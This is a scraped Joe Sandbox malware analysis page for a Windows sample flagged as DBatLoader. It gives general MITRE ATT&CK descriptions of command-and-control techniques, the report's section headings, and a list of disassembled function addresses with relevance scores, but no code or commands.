Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report spoolsv.COM.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: DBatLoader

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTPS Proxied Packets

Windows Analysis Report
spoolsv.COM.exe

Function 02B3EC74 Relevance: 243.3, APIs: 11, Strings: 122, Instructions: 10535
filesleepCOMMON

Function 02B25A78 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 184
registrystringlibraryCOMMON

Function 02B3EBF0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 28
libraryloaderCOMMON

Function 02B3DBB0 Relevance: 7.6, APIs: 5, Instructions: 80
nativefileCOMMON

Function 02B3E2F8 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 111
networkCOMMON

Function 02B37D00 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49
nativeCOMMON

Function 02B21724 Relevance: 9.0, APIs: 7, Instructions: 289
sleepCOMMON

Function 02B3870C Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 35
libraryCOMMON

Function 02B21A8C Relevance: 7.7, APIs: 6, Instructions: 175
sleepCOMMON

Function 02B3E2F6 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 112
networkCOMMON

Function 02B2E2EC Relevance: 4.5, APIs: 3, Instructions: 45
COMMON

Function 02B37064 Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 256
COMMON

Function 02B38824 Relevance: 3.1, APIs: 2, Instructions: 65
libraryCOMMON

Function 02B2E6E8 Relevance: 3.1, APIs: 2, Instructions: 63
COMMON

Function 02B2E384 Relevance: 1.6, APIs: 1, Instructions: 96
COMMON